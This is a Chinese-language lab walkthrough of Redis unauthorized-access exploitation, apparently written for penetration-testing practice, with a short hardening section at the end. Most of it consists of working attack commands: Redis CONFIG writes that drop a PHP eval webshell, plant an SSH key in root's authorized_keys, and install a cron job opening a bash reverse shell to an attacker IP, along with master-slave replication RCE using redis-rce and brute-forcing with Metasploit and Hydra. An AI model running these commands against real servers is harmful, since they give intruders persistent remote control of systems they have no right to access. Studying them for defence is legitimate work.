漏洞利用公式 | 利用前提 |
---|---|
写公钥 | root权限运行redis开放了ssh,允许公钥连接 |
反弹shell | root权限运行redis开启了计划任务 |
写入webshell | root权限运行redis知道网站根路径 |
主从复制 | redis 4.x/5.x |
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。
漏洞原理
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
一:漏洞环境部署
1.1:Linux环境下部署
#第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载redis
第二步 tar -zxvf redis-2.8.17.tar.gz #解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src #进入redis-2.8.17文件夹下的src文件夹
第六步 ./redis-server ../redis.conf #使用上级/目录下的reids.conf文件中的配置启动redis服务
1.2:Windows环境下部署
# 项目下载
https://github.com/tporadowski/redis/releases/tag/v5.0.14.1
步骤一:在以下地址下载Redis程序文件到本地并解压…如果是版本比较高的redis需要修改redis的配置文件,linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释符去掉,将protected-mode 后面改为no。
bind 0.0.0.0
protected-mode no
步骤二:执行以下命令启动Redis服务…
redis-server.exe
步骤三:在相同目录下执行命令链接Redis服务器…
# Windows链接
redis-cli.exe -h 192.168.43.141 #ip是你靶机的IP地址,端口可加可不加。
#redis-cli.exe -h 192.168.43.141 -p 6379
# linux连接
redis-cli -h ip
二:漏洞利用复现
2.1:利用Redis漏洞写WebShell
利用前提
- 靶机redis链接未授权,在攻击机上能用 redis-cli 连上,如上图,并未登陆验证
- 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url地址使用蚁剑进行连接)
第一步:apt-get install apache2 # 不用安装,kali自带
第二步:systemctl start apache2
利用操作
步骤一:执行以下命令进行GetShell…
config get dir #查看redis数据库路径
config set dir /var/www/html #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set x "\r\n\r\n<?php phpinfo();@eval($_POST['cmd']);?>\r\n\r\n"#将一句话木马写入文件中
# "\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
save#保存
步骤二:在浏览器访问该 22.php 的后门文件…并链接验证
http://192.168.0.132/22.php
2.2:利用Redis漏洞SSH密钥链接
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓存的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
利用前提
# 写入公钥的前提
● Redis服务使用root账号启动
● 成功连接redis
● 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
利用操作
步骤一:在Windows机器上使用 ssh-keygen 命令产生公私钥信息!
# 目标机配置
systemctl start ssh
# 产生公私钥
ssh-keygen -t rsa
步骤二:执行以下命令操作将公钥写入目标主机的认证文件中…
# 交互式操作
config set dir /root/.ssh/
config set dbfilename authorized_keys
# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
set xx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHNBMcJojY6nbmG4743IrLQn3jht2TZ7F0AkN1GF7UgFr0izthNXRWMqVOyyoawHhDcrRXjojwjf3n1DAWyRLHKmQdmoR7yC4CXmdRmkozQavE21+dZbxaChtt3EsiupB//E9n0rJbdOK2rOdW6Ny2EuZsF2b2BSxJNk30LkdKPmHwHdzlGMNEEleYA4KyjjAJbiw4sav9dvqTLHpUcnDMlgP3XWXdeK/iQxWGWqm6T9Ox9otQeigOBJ4UbZR+z2YGlLVdyXZU1J+aGFr4e45GahJ/24QJwo0X9KdQ12NFIzYjzVWGEk5b/rwlUvG0R8GwTDo2uBYU/xAgvJSll9yH+vya7Qf9Kaypt265dz1AmyZ3iR8nYejWIE+Oj8mTsc8Pbn3R4zamn+M2CsqY7ePweq3iF5OHUpqkckp4uFnoE3N1gG+dLmPXGaFNc0yhTMfM1BiLXBJVmbx6BocmaJe5AwpxFRwMo0U+DBrTenYpPFf9j5IzR4du1BGdYzLtRoU= 16933@Lilei\n\n\n"
//将文件里面的公钥id_rsa.pub的内容和上面替换掉
save #保存一下
# 单条命令操作
type key.txt | redis-cli.exe -h 192.168.43.141 -x set xxx#如果是linux 将type换
成cat
# 将公钥作为value插入到数据库中,key随便啥值。
redis-cli.exe -h 192.168.116.129 config set dir /root/.ssh
# 修改redis数据库路径
redis-cli.exe -h 192.168.116.129 config set dbfilename authorized_keys
# 生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.116.129 save
# 保存
ssh -i id_rsa root@192.168.116.129
# 连接
步骤三:进行SSH链接验证…
ssh -i id_rsa root@ip //连接kali里面的ip地址
步骤四:注意问题
1.如果你是linux系统使用cat,是windows系统使用type.
2.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。
3.你利用redis上传公钥时候运行代码是在你解压的redis文件下运行。
4.文件名必须是authorized_keys,由配置文件决定的。
2.3:利用Crontab计划任务反弹Shell
首先要知道 crontab 是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。
漏洞原理
原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell
利用限制
反弹shell这里只在centos中能够利用成功,ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。
利用操作
步骤一:在Centos7系统的VPS上执行Redis的安装部署…并进行未授权访问!成功…
第零步 yum install -y gcc
第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载redis
第二步 tar -zxvf redis-2.8.17.tar.gz #解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步cd src
第六步 ./redis-server ../redis.conf #使用上级/目录下的reids.conf文件中的配置启动redis服务
第七步 systemctl stop firewalld #关闭防火墙
步骤二:执行以下命令进行反弹Shell…成功!
1)config set dir /var/spool/cron/
2)config set dbfilename root
3)set xxx "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.66.128/9999 0>&1\n\n" //ip是kali的地址
# 前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
4)save
2.4:利用Redis主从复制反弹Shell
Redis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,且读写分开,减轻服务器压力。
https://www.cnblogs.com/wanghuizhao/p/17481632.html
漏洞原理
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
利用限制
利用redis主从复制redis版本要是4.x或者5.x
利用操作
步骤一:Centos搭建环境
1)
yum install -y gcc
wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar -xvzf redis-5.0.0.tar.gz
cd redis-5.0.0
make
2)不同机器上需更改redis.conf配置文件
bind 127.0.0.1 改为 bind 0.0.0.0
protected-mode yes 改为 protected-mode no
3)靶机启动服务
cd src
./redis-server ../redis.conf
步骤二:执行以下命令获取其恶意的so文件并进行攻击操作…
第一步:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
#下载RedisModules-ExecuteCommand
# 其他项目:https://github.com/vulhub/redis-rogue-getshell
第二步:git clone https://github.com/Ridter/redis-rce
#下载redis-rce
第三步:cd RedisModules-ExecuteCommand
第四步:make
#进入RedisModules-ExecuteCommand 使用make进行编译
第五步:mv module.so /root/redis-rce
#编译之后将module.so移到redis-rce
第六步:cd /root/redis-rce
第七步:python3 redis-rce.py -r 192.168.0.154 -L 192.168.0.132 -f module.so
#进入到redis-rce 执行命令,-r是目标IP -L是攻击机ip
2.5:SSRF+Redis写入WebShell
当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击.
利用条件
- 知道网站根目录
- 根目录具有写文件的权限
# 参考文章
https://blog.csdn.net/qq_44159028/article/details/117034100
# 细节内容可参考以前的SSRF打内网Redis
扩展:利用MSF破解Redis密码
步骤一:首先我们将redis设置一个密码,找到配置文件设置一个密码在启动服务…
# 配置选项
requirepass 123456
步骤二:调用相对应的MSF模块进行攻击操作…
msfconsole #开启msf
search redis #查看有关redis的模块
use 5 #选择5号模块即:auxiliary/scanner/redis/redis_login
show options #展示需要设置的参数
set RHOST 192.168.1.3 #设置靶机的ip
run #运行模块
步骤三:扩展…使用Hydra进行爆破!!!
hydra -P ./pass.txt redis://192.168.229.140:6379 -f
三:漏洞修复参考
# 修复一
禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
来禁用远程修改 DB 文件地址
# 修复二
以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
# 修复三
为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
# 修复四
禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
# 修复五
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免
这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好
新的公钥之后,按照上述步骤重新加上 immutable 位权限。